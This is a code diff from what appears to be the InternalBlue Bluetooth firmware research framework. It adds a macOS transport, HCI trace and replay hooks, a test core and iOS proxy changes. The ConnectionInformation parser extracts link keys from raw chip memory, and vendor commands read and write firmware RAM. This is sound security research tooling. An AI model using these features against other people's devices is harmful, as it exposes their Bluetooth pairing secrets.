+        while not self.exit_requested:
+            # Little bit ugly: need to re-apply changes to the global context to the thread-copy
+            context.log_level = self.log_level
+
+            # Wait for 'send task' in send queue
+            try:
+                task = self.sendQueue.get(timeout=0.5)
+            except queue2k.Empty:
+                continue
+
+            # Extract the components of the task
+            h4type, data, queue, filter_function = task
+
+            # Prepend UART TYPE and length.
+            out = p8(h4type) + p8(len(data)) + data
+
+            # Send command to the chip using IOBluetoothExtended framework
+            h4type, data, queue, filter_function = task
+            data = bytearray(data)
+            opcode = format(data[1], '02x') + format(data[0], '02x')
+
+            log.debug("Sending command: 0x" + ''.join(format(x, '02x') for x in data) + ", opcode: " + opcode)
+
+            if not(h4type == 0x01 or h4type == 0x02):
+                log.warn("H4 Type {0} not supported by macOS Core!".format(str(h4type)))
+                if queue is not None:
+                    queue.put(None)
+                continue
+
+            # if the caller expects a response: register a queue to receive the response
+            if queue is not None and filter_function is not None:
+                recvQueue = queue2k.Queue(1)
+                self.registerHciRecvQueue(recvQueue, filter_function)
+
+            # Sending command
+            self.s_inject.sendto(out, ('127.0.0.1', self.hciport+1))
+
+            # if the caller expects a response:
+            # Wait for the HCI event response by polling the recvQueue
+            if queue is not None and filter_function is not None:
+                try:
+                    record = recvQueue.get(timeout=10)
+                    hcipkt = record[0]
+                    data   = hcipkt.data
+                except queue2k.Empty:
+                    log.warn("_sendThreadFunc: No response from the firmware.")
+                    data = None
+                    self.unregisterHciRecvQueue(recvQueue)
+                    continue
+
+                queue.put(data)
+                self.unregisterHciRecvQueue(recvQueue)
+
+        log.debug("Send Thread terminated.")
+
+    def _teardownSockets(self):
+        if self.s_inject is not None:
+            self.s_inject.close()
+            self.s_inject = None
+
+        if self.s_snoop is not None:
+            self.s_snoop.close()
+            self.s_snoop = None
+
+        return True
+
+    def shutdown(self):
+        if not self.replay:
+            self.iobe.shutdown()
+        self.s_inject.sendto(b'', ('127.0.0.1', self.s_snoop.getsockname()[1]))
+        super(macOSCore, self).shutdown()

internalblue/objects/connection_information.py

@@ -0,0 +1,68 @@
+from builtins import object
+from pwnlib.util.packing import u32, u16, u8
+
+
+class ConnectionInformation(object):
+    connection_handle = 0
+    connection_number = 0
+    master_of_connection = False
+    remote_name_address = 0
+    remote_address = None
+    id = None
+    public_rand = None
+    extended_lmp_feat = None
+    link_key = None
+    tx_pwr_lvl_dBm = 0
+    effective_key_len = 0
+    host_supported_feat = None
+
+    def __init__(self, connection_number, remote_address, remote_name_address, master_of_connection, connection_handle,
+                 public_rand, effective_key_len, link_key, tx_pwr_lvl_dBm, extended_lmp_feat, host_supported_feat, id):
+        self.connection_number = connection_number
+        self.remote_address = remote_address
+        self.remote_name_address = remote_name_address
+        self.master_of_connection = master_of_connection
+        self.connection_handle = connection_handle
+        self.public_rand = public_rand
+        self.effective_key_len = effective_key_len
+        self.link_key = link_key
+        self.tx_pwr_lvl_dBm = tx_pwr_lvl_dBm
+        self.extended_lmp_feat = extended_lmp_feat
+        self.host_supported_feat = host_supported_feat
+        self.id = id
+
+    @staticmethod
+    def from_connection_buffer(connection):
+
+        # Possible TODO: Convert this to a Katai Struct parser with a proper .ksy grammar.
+        return ConnectionInformation(u32(connection[:4]), connection[0x28:0x2E][::-1],
+                              u32(connection[0x4C:0x50]),
+                              u32(connection[0x1C:0x20]) & 1 << 15 == 0,
+                              u16(connection[0x64:0x66]),
+                              connection[0x78:0x88],
+                              u8(connection[0xa7:0xa8]),
+                              connection[0x68:0x68 + u8(connection[0xa7:0xa8])],
+                              u8(connection[0x9c:0x9d]) - 127,
+                              connection[0x30:0x38], connection[0x38:0x40],
+                              connection[0x0c:0x0d])
+        # For some reason the following doesn't work because some attributes like link_key end up as one element tuples
+        # connection_number = u32(connection[:4])
+        # remote_address = connection[0x28:0x2E][::-1],
+        # remote_name_address = u32(connection[0x4C:0x50])
+        # master_of_connection = u32(connection[0x1C:0x20]) & 1 << 15 == 0
+        # connection_handle = u16(connection[0x64:0x66])
+        # public_rand = connection[0x78:0x88]
+        # effective_key_len = u8(connection[0xa7:0xa8])
+        # link_key = connection[0x68:0x68 + effective_key_len],
+        # tx_pwr_lvl_dBm = u8(connection[0x9c:0x9d]) - 127,
+        # extended_lmp_feat = connection[0x30:0x38]
+        # host_supported_feat = connection[0x38:0x40]
+        # id = connection[0x0c:0x0d]
+        # return ConnectionInformation(connection_number, remote_address, remote_name_address, master_of_connection,
+        #                              connection_handle,
+        #                              public_rand, effective_key_len, link_key, tx_pwr_lvl_dBm, extended_lmp_feat,
+        #                              host_supported_feat, id)
+
+    def __getitem__(self, item):
+        # type: (str) -> Any
+        return vars(self)[item]

internalblue/objects/queue_element.py

@@ -0,0 +1,39 @@
+from builtins import object
+class QueueElement(object):
+    index = 0
+    next_item = 0
+    prev = 0
+    capacity = 0
+    name = ''
+    queue_buf_start = 0
+    available_items = 0
+    item_size = 0
+    next_free_slot = 0
+    free_slots = 0
+    address = 0
+    waitlist_length = 0
+    next = 0
+    queue_buf_end = 0
+    thread_waitlist = 0
+
+    def __init__(self, index, address, item_size, capacity, available_items, free_slots, queue_buf_start, queue_buf_end,
+                 next_item, next_free_slot, thread_waitlist, waitlist_length, next, prev, name):
+        self.index = index
+        self.next_item = next_item
+        self.prev = prev
+        self.capacity = capacity
+        self.name = name
+        self.queue_buf_start = queue_buf_start
+        self.available_items = available_items
+        self.item_size = item_size
+        self.next_free_slot = next_free_slot
+        self.free_slots = free_slots
+        self.address = address
+        self.waitlist_length = waitlist_length
+        self.next = next
+        self.queue_buf_end = queue_buf_end
+        self.thread_waitlist = thread_waitlist
+
+    def __getitem__(self, item):
+        # type: (str) -> Any
+        return vars(self)[item]

internalblue/socket_hooks.py

@@ -0,0 +1,307 @@
+from __future__ import print_function
+from builtins import object
+import binascii
+import time
+
+
+try:
+    from typing import List, Optional, Any, TYPE_CHECKING, Tuple, Dict, Type
+except ImportError:
+    pass
+
+
+class SocketRecvHook(object):
+    def __init__(self, socket):
+        # type: (socket.socket) -> None
+        self.snoop_socket = socket
+        self.replace = False
+
+    def recv_hook(self, data):
+        raise NotImplementedError("recv_hook not implemented")
+
+    def recv_replace(self, length, **kwargs):
+        raise NotImplementedError("recv_replace not implemented")
+
+    def recv(self, length, **kwargs):
+        if not self.replace:
+            data = self.snoop_socket.recv(length, **kwargs)
+        else:
+            data = self.recv_replace(length, **kwargs)
+        self.recv_hook(data)
+        return data
+
+    def recvfrom_replace(self, length, **kwargs):
+        raise NotImplementedError("recvfrom_replace not implemented")
+
+    def recvfrom_hook(self, data, addr):
+        raise NotImplementedError("recvfrom_hook not implemented")
+
+    def recvfrom(self, length, **kwargs):
+        # type: (int, Dict[str, Any]) -> Tuple[bytes, Any]
+        if not self.replace:
+            data, addr = self.snoop_socket.recvfrom(length)
+        else:
+            data, addr = self.recvfrom_replace(length, **kwargs)
+        self.recvfrom_hook(data, addr)
+        return data, addr
+
+class SocketInjectHook(object):
+    def __init__(self, socket, core):
+        # type: (socket.socket, InternalBlue) -> None
+        self.inject_socket = socket
+        self.replace = False
+        self.core = core # type: InternalBlue
+
+    def close(self):
+        if self.inject_socket:
+            self.inject_socket.close()
+
+    def send(self, data):
+        self.send_hook(data)
+        if not self.replace:
+            try:
+                self.inject_socket.send(data)
+            except Exception as e:
+                self.send_exception(e)
+                self.core.test_failed = e
+                raise
+        else:
+            try:
+                self.send_replace(data)
+            except Exception as e:
+                self.core.test_failed = e
+                raise
+
+    def sendto(self, data, socket):
+        self.sendto_hook(data, socket)
+        if not self.replace:
+            try:
+                self.inject_socket.sendto(data, socket)
+            except Exception as e:
+                self.send_exception(e)
+                self.core.test_failed = e
+                raise
+        else:
+            try:
+                self.send_replace(data)
+            except Exception as e:
+                self.core.test_failed = e
+                raise
+
+    def getsockname(self):
+        return self.snoop_socket.getsockname()
+
+    def send_hook(self, result):
+        raise NotImplementedError("send_hook not implemented")
+
+    def sendto_hook(self, data, socket):
+        raise NotImplementedError("sendto_hook not implemented")
+
+    def send_replace(self, data):
+        raise NotImplementedError("send_replace not implemented")
+
+    def send_exception(self, e):
+        raise NotImplementedError("send_exception not implemented")
+
+
+class SocketDuplexHook(SocketInjectHook, SocketRecvHook):
+
+    def __init__(self, snoop_socket, inject_socket, core, **kwargs):
+        # type: (socket.socket, socket.socket, InternalBlue, Dict[str, Any]) -> None
+        self.snoop_socket = snoop_socket
+        self.inject_socket = inject_socket
+        self.replace = False
+        self.core = core
+
+    pass
+
+
+class HookBase(object):
+    def send_hook(self, data):
+        raise NotImplementedError
+
+    def recv_hook(self, data):
+        raise NotImplementedError
+
+
+class TraceToFileHook(SocketDuplexHook):
+    def __init__(self, snoop_socket, inject_socket, core, filename='/tmp/bt_hci.log'):
+        # type: (socket.socket, socket.socket, InternalBlue, str) -> None
+        SocketDuplexHook.__init__(self, snoop_socket, inject_socket, core)
+        self.file = open(filename, 'a')
+        self.replace = False
+        self.log = []
+        self.closed = False
+
+    def recv_hook(self, data):
+        line = "RX {}\n".format(binascii.hexlify(data))
+        print(line)
+        self.log.append(line)
+
+    def send_hook(self, data):
+        line = "TX {}\n".format(binascii.hexlify(data))
+        print(line)
+        self.log.append(line)
+
+    def recvfrom_hook(self, data, socket, **kwargs):
+        line = "RX {}\n".format(binascii.hexlify(data))
+        print(line)
+        self.log.append(line)
+
+    def sendto_hook(self, data, socket, **kwargs):
+        line = "TX {}\n".format(binascii.hexlify(data))
+        print(line)
+        self.log.append(line)
+
+    def send_exception(self, e):
+        line = "EX '{}'\n".format(e)
+        print(line)
+        self.log.append(line)
+
+    def close(self):
+        if not self.closed:
+            self.inject_socket.close()
+            self.snoop_socket.close()
+            self.log.append("Socket closed\n")
+            self.file.writelines(self.log)
+            self.file.close()
+            self.closed = True
+
+import socket
+
+
+class PrintTrace(SocketDuplexHook):
+
+    def send_hook(self, data, **kwargs):
+        print("Sent: {}".format(binascii.hexlify(data)))
+
+    def recv_hook(self, data, **kwargs):
+        print("Recv: {}".format(binascii.hexlify(data)))
+
+    def recvfrom_hook(self, data, addr, **kwargs):
+        print("Recv: {}".format(binascii.hexlify(data)))
+
+    def sendto_hook(self, data, socket, **kwargs):
+        print("Sent: {}".format(binascii.hexlify(data)))
+
+    def send_exception(self, e):
+        print("Exception: {}".format(e))
+
+
+class ReplaySocket(SocketDuplexHook):
+    def __init__(self, snoop_socket, inject_socket, core, filename='/tmp/bt_hci.log', debug=False):
+        SocketDuplexHook.__init__(self, snoop_socket, inject_socket, core)
+        self.replace = True
+        self.log = open(filename).readlines()
+        self.index = 0
+        self.debug = debug
+        if self.log[0].startswith("#"):
+            self.index = 1
+
+    def send_hook(self, data, **kwargs):
+        if self.debug:
+            print("Sent: {}".format(binascii.hexlify(data)))
+
+    def recv_hook(self, data, **kwargs):
+        if self.debug:
+            print("Recv: {}".format(binascii.hexlify(data)))
+
+    def recvfrom_hook(self, data, addr, **kwargs):
+        if self.debug:
+            print("Recv: {}".format(binascii.hexlify(data)))
+
+    def sendto_hook(self, data, socket, **kwargs):
+        if self.debug:
+            print("Sent: {}".format(binascii.hexlify(data)))
+
+    def send_exception(self, e):
+        if self.debug:
+            print("Exception: {}".format(e))
+
+    def send_replace(self, data, **kwargs):
+        encoded_data = ""  # type: str
+        hex_data = binascii.hexlify(data)
+        direction, encoded_data = self.log[self.index].split(" ", 1)
+        if direction == "RX":
+            # Some recieves aren't handled yet, wait a bit so the recv thread takes care of them.
+            time.sleep(0.2)
+            direction, encoded_data = self.log[self.index].split(" ", 1)
+        assert (direction == "TX")
+        log_data = binascii.unhexlify(encoded_data.rstrip('\n'))
+        assert data == log_data, "Got {}, expected {}".format(hex_data, encoded_data)
+        self.index += 1
+        ty, data = self.log[self.index].split(" ", 1)
+        if ty == "EX":
+            self.index += 1
+            raise socket.error(data)
+
+    def recv_replace(self, length, **kwargs):
+        time.sleep(0.001)
+        direction, encoded_data = self.log[self.index].split(" ", 1)
+        if direction == "RX":
+            self.index += 1
+            return binascii.unhexlify(encoded_data.rstrip('\n'))
+        else:
+            raise socket.timeout()
+
+    def recvfrom_replace(self, length, **kwargs):
+        time.sleep(0.001)
+        direction, encoded_data = self.log[self.index].split(" ", 1)
+        if direction == "RX":
+            self.index += 1
+            return binascii.unhexlify(encoded_data.rstrip('\n')), 1234
+        else:
+            raise socket.timeout()
+
+    def getsockname(self):
+        return (None, 0)
+
+    def close(self):
+        assert self.index + 1 == len(self.log)
+
+from internalblue.core import InternalBlue
+
+
+
+
+def hook(core, socket_hook, **hookkwargs):
+    # type: (Type[InternalBlue], Type[SocketDuplexHook], Any) -> None
+
+    def wrap_socket_setup(orig_func):
+        def wrapped_socket_setup(self, *args, **kwargs):
+            if not self.replay:
+                status = orig_func(self, *args, **kwargs)
+            else:
+                status = True
+            h = socket_hook(self.s_snoop, self.s_inject, core=self, **hookkwargs)
+            self.s_inject = h
+            self.s_snoop = h
+            return status
+
+        return wrapped_socket_setup
+
+    core._setupSockets = wrap_socket_setup(core._setupSockets)
+
+    def wrap_teardown_sockets(orig_func):
+        def wrapped_teardown_sockets(self, *args, **kwargs):
+            if not self.replay:
+                return orig_func(self, *args, **kwargs)
+            else:
+                self.s_inject.close()
+                self.s_snoop.close()
+        return wrapped_teardown_sockets
+
+    core._teardownSockets = wrap_teardown_sockets(core._teardownSockets)
+
+
+    def wrap_device_list(orig_func):
+        def wrapped_device_list(self, *args, **kwargs):
+            if not self.replay:
+                return orig_func(self, *args, **kwargs)
+            else:
+                return [(self, "ReplayDevice", "ReplayDevice")]
+        return wrapped_device_list
+
+
+
+    core.device_list = wrap_device_list(core.device_list)

internalblue/testcore.py

@@ -0,0 +1,163 @@
+#!/usr/bin/env python2
+
+from __future__ import print_function
+from __future__ import absolute_import
+from future import standard_library
+standard_library.install_aliases()
+import socket
+import queue as queue2k
+from . import hci
+
+from pwn import *
+
+from .core import InternalBlue
+import binascii
+
+filepath = os.path.dirname(os.path.abspath(__file__))
+
+
+try:
+    import typing
+    from typing import List, Tuple, Any
+    from internalblue.core import InternalBlue
+
+except:
+    pass
+
+class testCore(InternalBlue):
+    def __init__(self, queue_size=1000, btsnooplog_filename='btsnoop.log', log_level='info', fix_binutils='True', data_directory="."):
+        super(testCore, self).__init__(queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory=".")
+        file = open(filepath+'/../dummymemdump.bin', mode='rb')
+        self.memory = file.read()
+        file.close()
+        self.doublecheck = False
+
+    def device_list(self):
+        # type: () -> List[Tuple[InternalBlue,str,str]]
+        """
+        Get a list of connected devices
+        """
+
+        if self.exit_requested:
+            self.shutdown()
+
+        if self.running:
+            log.warn("Already running. Call shutdown() first!")
+            return []
+
+        # assume that a explicitly specified iPhone exists
+        device_list = [(self, "Testchip", "Testchip")]
+
+        return device_list
+
+    def sendH4(self, h4type, data, timeout=2):
+        """
+        Send an arbitrary HCI packet by pushing a send-task into the
+        sendQueue. This function blocks until the response is received
+        or the timeout expires. The return value is the Payload of the
+        HCI Command Complete Event which was received in response to
+        the command or None if no response was received within the timeout.
+        """
+
+        queue = queue2k.Queue(1)
+
+        try:
+            self.sendQueue.put((h4type, data, queue, None), timeout=timeout)
+            ret = queue.get(timeout=timeout)
+            return ret
+        except queue2k.Empty:
+            log.warn("sendH4: waiting for response timed out!")
+            return None
+        except queue.Full:
+            log.warn("sendH4: send queue is full!")
+            return None
+
+    def local_connect(self):
+        return True
+
+    def _setupSockets(self):
+        self.hciport = random.randint(60000, 65535 - 1)
+        log.debug("_setupSockets: Selected random ports snoop=%d and inject=%d" % (self.hciport, self.hciport + 1))
+        log.info("Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d" % (
+        self.hciport, self.hciport + 1))
+
+        # Create s_snoop socket
+        self.s_snoop = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.s_snoop.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.s_snoop.bind(('127.0.0.1', self.hciport))
+        self.s_snoop.settimeout(0.5)
+        self.s_snoop.setblocking(True)
+
+        # Create s_inject
+        self.s_inject = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.s_inject.settimeout(0.5)
+        self.s_inject.setblocking(True)
+
+        time.sleep(1.5)
+
+        return True
+
+    def _recvThreadFunc(self):
+        log.debug("Receive Thread terminated.")
+
+    def _sendThreadFunc(self):
+        log.debug("Send Thread started.")
+        while not self.exit_requested:
+            # Little bit ugly: need to re-apply changes to the global context to the thread-copy
+            context.log_level = self.log_level
+
+            # Wait for 'send task' in send queue
+            try:
+                task = self.sendQueue.get(timeout=0.5)
+            except queue2k.Empty:
+                continue
+
+            # Extract the components of the task
+            h4type, data, queue, filter_function = task
+
+            # Prepend UART TYPE and length.
+            out = p8(h4type) + p8(len(data)) + data
+
+            # Send command to the chip using IOBluetoothExtended framework
+            h4type, data, queue, filter_function = task
+            opcode = binascii.hexlify(data[1]) + binascii.hexlify(data[0])
+            log.debug("Sending command: 0x" + binascii.hexlify(data))
+
+            # if the caller expects a response: register a queue to receive the response
+            if queue is not None and filter_function is not None:
+                recvQueue = queue2k.Queue(1)
+                self.registerHciRecvQueue(recvQueue, filter_function)
+
+            # if the caller expects a response:
+            # Wait for the HCI event response by polling the recvQueue
+
+            if queue is not None and filter_function is not None:
+                # Return responses according to the opcode & operands
+                if opcode == '1001':
+                    record_data = '040E0C0101100006b415060f000e22'.decode('hex')
+                    data = hci.parse_hci_packet(record_data).data
+                elif opcode == 'fc4d':
+                    length = int(binascii.hexlify(data[7]), 16)
+                    address = int(binascii.hexlify(data[6]+data[5]+data[4]+data[3]), 16)
+                    data = '014dfc00'.decode('hex') + self.memory[address:address+length]
+                elif opcode == 'fc4c':
+                    log.info(data.encode('hex'))
+                    length = int(binascii.hexlify(data[2]), 16)
+                    address = int(binascii.hexlify(data[6]+data[5]+data[4]+data[3]), 16)
+                    self.memory = self.memory[:address] +  data[7:len(data)] + self.memory[address+length:]
+                else:
+                    print(opcode)
+
+                queue.put(data)
+                self.unregisterHciRecvQueue(recvQueue)
+
+        log.debug("Send Thread terminated.")
+
+    def enableBroadcomDiagnosticLogging(self, enable):
+        return
+
+    def _teardownSockets(self):
+        return True
+
+    def shutdown(self):
+        return True

internalblue/utils.py

@@ -0,0 +1,3 @@
+def bytes_to_hex(bytes):
+    # type: (bytearray) -> str
+    return ''.join(format(x, '02x') for x in bytearray(bytes))

ios-proxy/internalblue-ios-proxy/internalblue-ios-proxy.c

@@ -50,7 +50,7 @@ int connect_bt_device() {
 	struct termios term;
 	
 	if (socket_fd == 0) {
-		printf("unable to get bluetooth socket\n");
+		printf("[!] Unable to get Bluetooth socket\n");
 		return -1;
 	}
 	
@@ -58,8 +58,8 @@ int connect_bt_device() {
     ctl_inf->ctl_id = 0;
 	strcpy(ctl_inf->ctl_name, "com.apple.uart.bluetooth");
 	if ((error = ioctl(socket_fd, CTLIOCGINFO, ctl_inf))) {
-		printf("ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
-		printf("error: %s\n", strerror(errno));
+		printf("[!] ioctl(CTLIOCGINFO) = %d - errno: %d\n", error, errno);
+		printf("[!] error: %s\n", strerror(errno));
 		return -1;
 	}
 	
@@ -67,27 +67,27 @@ int connect_bt_device() {
 	*(int *)&sock_addr.sa_data[2] = ctl_inf->ctl_id;
 	ret = connect(socket_fd, &sock_addr, 0x20);
 	if (ret != 0) {
-		printf("connect() = %d - errno: %d\n", ret, errno);
-		printf("error: %s\n", strerror(errno));
+		printf("[!] connect() = %d - errno: %d\n", ret, errno);
+		printf("[!] error: %s\n", strerror(errno));
 		return -1;
 	}
 	
-	printf("Connected to bt device\n");
+	printf("[*] Connected to Bluetooth chip H4 socket\n");
 	
 	socklen_t len = 72;
 	
 	ret = getsockopt(socket_fd, 2, TIOCGETA, &term, &len);
 	if (ret != 0) {
-		printf("getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
-		printf("error: %s\n", strerror(errno));
+		printf("[!] getsockopt(TIOCGETA) = %d - errno: %d\n", ret, errno);
+		printf("[!] error: %s\n", strerror(errno));
 		return -1;
 	}
 	
 	cfmakeraw(&term);
 	ret = cfsetspeed(&term, 3000000);
 	if (ret != 0) {
-		printf("cfsetspeed() = %d - errno: %d\n", ret, errno);
-		printf("error: %s\n", strerror(errno));
+		printf("[!] cfsetspeed() = %d - errno: %d\n", ret, errno);
+		printf("[!] error: %s\n", strerror(errno));
 		return -1;
 	}
 	
@@ -95,13 +95,12 @@ int connect_bt_device() {
 	term.c_cflag = 232192;
 	ret = setsockopt(socket_fd, 2, TIOCSETA, &term, 0x48);
 	if (ret != 0) {
-		printf("setsockopt() = %d - errno: %d\n", ret, errno);
-		printf("error: %s\n", strerror(errno));
+		printf("[!] setsockopt() = %d - errno: %d\n", ret, errno);
+		printf("[!] error: %s\n", strerror(errno));
 		return -1;
 	}
 	
 	tcflush(socket_fd, 3);
-	
 	free(ctl_inf);
 	
 	return socket_fd;
@@ -115,7 +114,7 @@ int create_server(int port) {
 	
 	server_fd = socket(AF_INET, SOCK_STREAM, 0);
 	if (server_fd < 0) {
-		printf("Unable to create server socket\n");
+		printf("[!] Unable to create server socket\n");
 		return -1;
 	}
 	
@@ -127,16 +126,16 @@ int create_server(int port) {
 	
 	setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &on, 4);
 	if (bind(server_fd, (struct sockaddr *)&server, sizeof(server)) < 0) {
-		printf("Error binding socket\n");
+		printf("[!] Error binding socket\n");
 		return -1;
 	}
 	
 	if (listen(server_fd, 5) < 0) {
-		printf("Failed listening: %s\n", strerror(errno));
+		printf("[!] Failed listening on port %d,  Error: %s\n", port, strerror(errno));
 		return -1;
 	}
 	
-	printf("Listening on port %d\n", port);
+	printf("[*] Listening on port %d\n", port);
 	
 	return server_fd;
 }
@@ -150,82 +149,58 @@ int wait_for_connection(int server_fd) {
 	client_fd = accept(server_fd, (struct sockaddr *)&client, (socklen_t *)&len);
 	
 	if (client_fd < 0) {
-		printf("Accepting connection failed\n");
+		printf("[!] Accepting connection failed\n");
 		return -1;
 	}
 	
 	return client_fd;
 }
 
-size_t buffered_write(int fd, char *buf, int *len)
-{
-	size_t x = write(fd, buf, *len);
-	if (x < 0)
-		return x;
-	if (x == 0)
-		return x;
-	if (x != *len)
-		memmove(buf, buf+x, (*len)-x);
-	*len -= x;
-	return x;
-}
-
 void proxy_bt_socket(int client, int bt) {
 	char *client_buf, *bt_buf;
-	int nfds;
+    int nfds, x;
 	fd_set R;
-	int client_out = 0;
-	int bt_out = 0;
-	int x;
 	size_t n;
 	
-	client_buf = malloc(1024);
-	bt_buf = malloc(1024);
+	client_buf = malloc(0x2000);
+	bt_buf = malloc(0x2000);
 	
 	nfds = client > bt ? client : bt;
 	nfds++;
-	
+    
 	while(1) {
 		struct timeval to;
-		if (client_out) {
-			buffered_write(bt, client_buf, &client_out);
-		}
-		if (bt_out) {
-			buffered_write(client, bt_buf, &bt_out);
-		}
 		FD_ZERO(&R);
-		if (client_out < 1024)
-			FD_SET(client, &R);
-		if (bt_out < 1024)
-			FD_SET(bt, &R);
+        FD_SET(client, &R);
+        FD_SET(bt, &R);
 		
 		to.tv_sec = 0;
-		to.tv_usec = 1000;
+		to.tv_usec = 100;
 		x = select(nfds+1, &R, 0, 0, &to);
 		if (x > 0) {
 			if (FD_ISSET(client, &R)) {
-				n = read(client, client_buf+client_out, 1024-client_out);
-				if (n > 0) {
-					client_out += n;
-				} else {
-					close(client);
-					printf("Client read failed\n");
-					return;
-				}
+                n = read(client, client_buf, 4096);
+                if (n > 0) {
+                    write(bt, client_buf, n);
+                } else {
+                    close(client);
+                    printf("[!] Client read failed\n");
+                    return;
+                }
 			}
 			
 			if (FD_ISSET(bt, &R)) {
-				n = read(bt, bt_buf+bt_out, 1024-bt_out);
-				if (n > 0) {
-					bt_out += n;
-				} else {
-					close(client);
-					printf("BT read failed\n");
-					return;
-				}
+                n = read(bt, bt_buf, 4096);
+                if (n > 0) {
+                    write(client, bt_buf, n);
+                } else {
+                    close(client);
+                    printf("[!] H4 socket read failed\n");
+                    return;
+                }
 			}
 		} else if (x < 0 && errno != EINTR){
-			printf("Select failed with %s\n", strerror(errno));
+			printf("[!] Select failed with %s\n", strerror(errno));
 			close(client);
 			return;
 		}
@@ -250,32 +225,36 @@ int main(int argc, char **argv) {
 	
 	port = atoi(argv[1]);
 	
-	// wake BT device
-	btwake_fd = open("/dev/btwake", 0);
+    while (1) {
+        // wake BT device
+        btwake_fd = open("/dev/btwake", 0);
+        
+        bt_fd = connect_bt_device();
+        if (bt_fd < 0) {
+            printf("[!] Error connecting to bluetooth device\n");
+            return -1;
+        }
+        
+        server_fd = create_server(port);
+        if (server_fd < 0) {
+            printf("[!] Unable to create proxy server\n");
+            return -1;
+        }
+        printf("[*] Created proxy server\n");
+        
+        signal(SIGINT, __exit);
 	
-	bt_fd = connect_bt_device();
-	if (bt_fd < 0) {
-		printf("Error connecting to bluetooth device\n");
-		return -1;
-	}
-	
-	server_fd = create_server(port);
-	if (server_fd < 0) {
-		printf("Unable to create server\n");
-		return -1;
-	}
-	printf("Created server\n");
-	
-	signal(SIGINT, __exit);
-	
-	while (1) {
-		printf("Waiting for connection\n");
+		printf("[*] Waiting for remote connection\n");
 		client_fd = wait_for_connection(server_fd);
 		if (client_fd < 0)
-			continue;
-		// currently only one connection is supported
+			printf("[!] Unable to connect remote device to proxy\n");
+		
+        // currently only one connection is supported
 		proxy_bt_socket(client_fd, bt_fd);
 		close(client_fd);
+        close(server_fd);
+        close(bt_fd);
+        close(btwake_fd);
 	}
 	
 	return 0;

macos-framework/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/project.pbxproj

@@ -0,0 +1,532 @@
+// !$*UTF8*$!
+{
+	archiveVersion = 1;
+	classes = {
+	};
+	objectVersion = 50;
+	objects = {
+
+/* Begin PBXBuildFile section */
+		8C3047E2231D7CAE0003E282 /* HCIDelegate.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E1231D7CAE0003E282 /* HCIDelegate.m */; };
+		8C3047EA231DCDE30003E282 /* HCIDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8C3047E9231DCDE30003E282 /* HCIDelegate.swift */; };
+		8C31742A22D1049E004B9604 /* IOBluetoothExtended.framework in Frameworks */ = {isa = PBXBuildFile; fileRef = 8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */; };
+		8C31742F22D1049E004B9604 /* IOBluetoothExtendedTests.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */; };
+		8C31743122D1049E004B9604 /* IOBluetoothExtended.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31742322D1049D004B9604 /* IOBluetoothExtended.h */; settings = {ATTRIBUTES = (Public, ); }; };
+		8C3174AF22D10E11004B9604 /* HCIDelegate.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31743A22D104DA004B9604 /* HCIDelegate.h */; settings = {ATTRIBUTES = (Public, ); }; };
+		8C3174B122D10E4C004B9604 /* IOBluetoothHostController.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C31744122D10516004B9604 /* IOBluetoothHostController.h */; settings = {ATTRIBUTES = (Public, ); }; };
+		8C57A7432333A6E100037C3D /* HCICommunicator.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C57A7422333A6E100037C3D /* HCICommunicator.m */; };
+		8C57A7442333A7C400037C3D /* HCICommunicator.h in Headers */ = {isa = PBXBuildFile; fileRef = 8C57A7412333A6D000037C3D /* HCICommunicator.h */; settings = {ATTRIBUTES = (Public, ); }; };
+		8C72A82823339457001A9806 /* IOBE.m in Sources */ = {isa = PBXBuildFile; fileRef = 8C72A82723339457001A9806 /* IOBE.m */; };
+		8CE61E5D232AE8D20086419F /* Extensions.swift in Sources */ = {isa = PBXBuildFile; fileRef = 8CE61E5C232AE8D20086419F /* Extensions.swift */; };
+/* End PBXBuildFile section */
+
+/* Begin PBXContainerItemProxy section */
+		8C31742B22D1049E004B9604 /* PBXContainerItemProxy */ = {
+			isa = PBXContainerItemProxy;
+			containerPortal = 8C31741722D1049D004B9604 /* Project object */;
+			proxyType = 1;
+			remoteGlobalIDString = 8C31741F22D1049D004B9604;
+			remoteInfo = IOBluetoothExtended;
+		};
+/* End PBXContainerItemProxy section */
+
+/* Begin PBXFileReference section */
+		8C3047E1231D7CAE0003E282 /* HCIDelegate.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = HCIDelegate.m; sourceTree = "<group>"; };
+		8C3047E9231DCDE30003E282 /* HCIDelegate.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = HCIDelegate.swift; sourceTree = "<group>"; };
+		8C31742022D1049D004B9604 /* IOBluetoothExtended.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = IOBluetoothExtended.framework; sourceTree = BUILT_PRODUCTS_DIR; };
+		8C31742322D1049D004B9604 /* IOBluetoothExtended.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = IOBluetoothExtended.h; sourceTree = "<group>"; };
+		8C31742422D1049D004B9604 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = "<group>"; };
+		8C31742922D1049E004B9604 /* IOBluetoothExtendedTests.xctest */ = {isa = PBXFileReference; explicitFileType = wrapper.cfbundle; includeInIndex = 0; path = IOBluetoothExtendedTests.xctest; sourceTree = BUILT_PRODUCTS_DIR; };
+		8C31742E22D1049E004B9604 /* IOBluetoothExtendedTests.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = IOBluetoothExtendedTests.m; sourceTree = "<group>"; };
